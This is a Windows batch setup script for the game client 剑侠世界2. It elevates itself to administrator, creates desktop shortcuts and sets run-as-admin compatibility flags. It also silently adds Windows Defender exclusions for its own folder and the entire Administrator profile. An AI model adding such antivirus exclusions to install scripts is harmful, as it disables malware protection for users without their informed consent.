@echo off
if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)

REM === Paths ===
set "BASE_PATH=%~dp0"
set "BASE_PATH_Q=%BASE_PATH%"

REM === Windows Defender Exclusion ===
Powershell.exe Add-MpPreference -ExclusionPath "%BASE_PATH_Q%"
Powershell.exe Add-MpPreference -ExclusionPath "C:\Users\Administrator\"

REM === Get Desktop Path ===
for /f "usebackq delims=" %%D in (`powershell -command "[Environment]::GetFolderPath('Desktop')"`) do set "DESKTOP_PATH=%%D"

REM === Create Desktop Shortcut for So2GameCN.exe ===
set "EXE_NAME=So2GameCN.exe"
set "SHORTCUT_NAME=剑侠世界2"
set "TARGET_EXE=%BASE_PATH%%EXE_NAME%"
powershell -command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('%DESKTOP_PATH%\%SHORTCUT_NAME%.lnk'); $sc.TargetPath = '%TARGET_EXE%'; $sc.WorkingDirectory = '%BASE_PATH%'; $sc.Save()"

REM === Create Desktop Shortcut for Autoupdate.exe ===
set "EXE_NAME=Autoupdate.exe"
set "SHORTCUT_NAME=剑侠世界2更新"
set "TARGET_EXE=%BASE_PATH%%EXE_NAME%"
powershell -command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('%DESKTOP_PATH%\%SHORTCUT_NAME%.lnk'); $sc.TargetPath = '%TARGET_EXE%'; $sc.WorkingDirectory = '%BASE_PATH%'; $sc.Save()"

REM === Compatibility settings (CURRENT USER ONLY, RUN AS ADMIN ENABLED) ===
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" ^
/v "%BASE_PATH%So2GameCN.exe" ^
/t REG_SZ ^
/d "WIN8RTM DISABLEDXMAXIMIZEDWINDOWEDMODE RUNASADMIN" ^
/f

reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" ^
/v "%BASE_PATH%Autoupdate.exe" ^
/t REG_SZ ^
/d "WIN8RTM DISABLEDXMAXIMIZEDWINDOWEDMODE RUNASADMIN" ^
/f

echo.
echo Setup completed successfully.
pause
